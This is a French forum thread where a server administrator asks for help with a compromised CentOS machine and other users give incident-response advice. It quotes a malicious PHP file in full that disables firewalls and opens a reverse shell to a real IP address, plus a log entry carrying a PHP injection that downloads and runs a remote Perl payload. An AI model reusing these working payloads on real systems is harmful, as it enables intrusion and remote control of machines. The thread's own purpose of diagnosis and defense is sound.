8721 sujets

Développement web côté serveur, CMS

Bonjour à tous.

J'ai un serveur Linux CentOS dont j'ai remarqué que l'utilisation de l'UC est très élevée depuis quelques jours.

En faisant un ps auxf j'ai trouvé ça :

root 14197 0.0 0.0 10792 1080 ? S Aug22 0:00 sh -c /usr/bin/php -d safe_mode=0 -f /tmp/http.php && /bin/rpm -e psa-locale-ZP-fr-2-1 --nodeps
root 14198 0.0 0.2 156644 7932 ? S Aug22 0:00 \_ /usr/bin/php -d safe_mode=0 -f /tmp/http.php
root 14323 0.0 0.0 10928 1348 ? S Aug22 0:00 \_ /bin/sh -i
root 17808 68.0 0.0 10796 1196 ? R Aug22 4518:36 \_ sh

Et dans le fichier /tmp/http.php indiqué :

<?php
set_time_limit(0);
error_reporting(0);

if(file_exists('/etc/init.d/psa-firewall')){        @exec("/etc/init.d/psa-firewall stop",$out);}
if(file_exists('/etc/init.d/psa-firewall-forward')){        @exec("/etc/init.d/psa-firewall-forward stop",$out);}
if(file_exists('/etc/init.d/iptables')){        @exec("/etc/init.d/iptables stop",$out);}

if(file_exists("/usr/bin/perl")) {
     $code='use Socket;$i="54.215.165.144";$p=8081;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};';system("/usr/bin/perl -e '$code'");
} else if(function_exists('fsockopen')) {
     $sock=fsockopen("54.215.165.144",8081);exec("/bin/sh -i <&3 >&3 2>&3");
} else {
     system("/usr/bin/nohup /bin/bash -i >& /dev/tcp/54.215.165.144/8081 0>&1 &");
}

function wr_file_a($fname, $content){ 
if(strlen($content) == 0) return 0;
 $fpp = @fopen($fname, "a+"); if ($fpp)   {    
   @flock($fpp, LOCK_EX);    @fwrite($fpp, $content);    @flock($fpp, LOCK_UN);    @fclose($fpp);
    return 1;
   }
 return 0;
}


Je ne sais pas trop quoi faire. Est-ce que je peux tuer le process sh, ou au moins un des parents?
Ou bien modifier le fichier php et le réexecuter?

Merci d'avance pour vos conseils
Administrateur
Ça m'a tout l'air d'être un script utilisé par quelqu'un pour stocker n'importe quel fichier chez toi et l'exécuter.

Je ne suis pas expert en admin système mais il me semble que la première chose à faire c'est de
- stopper l'exécution de cette chose, si tu ne sais pas à quoi elle correspond
- sauver le fichier dans un emplacement neutre (pour garder une trace et l'examiner ensuite)
- killer les processus en question et vérifier qu'ils ne se relancent pas
- diagnostiquer d'où vient la faille pour éviter que cela se reproduise
- mettre en place un firewall (iptables) si ce n'est pas déjà le cas et des outils de monitoring

Tu peux aussi installer rkhunter pour faire un check rapide.
Bonjour, je debarque a peine et suis plus 'amateur' que 'pro' , mais un fichier qui te cree un executable tout seul, qui ecrit dans un fichier, c'est TRES douteux
A premiere vue je virerais le http.php (apres sauvegarde), puis surveillerais
au pire,virer du http.php les instructions d'ecriture pour qu'il ne fasse rien !!
essaye de determiner quelles sont les données ecrites dans le fichier, et ou ca part?
bon courage!!
j'ai aussi ce qui me semble etre une ataque de site, mais d'un style different (et je vais chercher si la question a ete posee)!
bonne chance
ah, Un admin (bonjour) a repondu un peu avant moi, meme type d'idee, donc suis pas trop nul, ca me rassure!!
Merci pour cette réponse rapide.

J'ai déplacé le fichier. En revanche je ne sais pas trop quoi killer. Le parent seulement? Parce que sh est quand même un processus important alors j'ai peur de ce qui va se passer si je le kill aussi.

rkhunter est déjà installé mais ne m'a rien retourné d'intéressant.

J'ai suivi ton tuto pour installer et configurer fail2ban, limiter les droits sur make, etc. et tout ça. Ça sera toujours ça en plus.

Par contre je ne sais pas trop où chercher pour trouver la faille. J'ai épluché les log de la date où ça a été lancé sans trouver.
J'ai beaucoup de logs assez stranges sur les mails du genre :
No such user '<?php passthru("cd /var/tmp;cd /var/tmp;wget http://fallencrafts.info/download/himad.png;perl himad.png;rm -rf himad.png*"); ?>@exemple.com' in mail authorization database

Je me demande si ça pourrait venir d'un truc comme ça...
Bon je suis pas du tout un spécialiste non plus alors je suis allé demander sur #linux@freenode en montrant ton script.


$sock=fsockopen("54.215.165.144",8081);exec("/bin/sh -i <&3 >&3 2>&3");


Ce bout de code donne un accès à un shell virtualisé sur ta machine à l'attaquant. La connexion au shell se faisant sur un socket.

Tu as une description complète de l'exploit ici :

http://www.asafety.fr/vuln-exploit-poc/pentesting-etablir-un-reverse-shell-en-une-ligne/

En gros, c'est pas bon. Smiley langue
Modifié par jb_gfx (27 Aug 2013 - 15:01)
Merci pour le lien.

Effectivement, ça craint !
En plus, il y a apparemment pleins de façons différentes de faire ça. Je vais avoir de quoi m'occuper à chercher...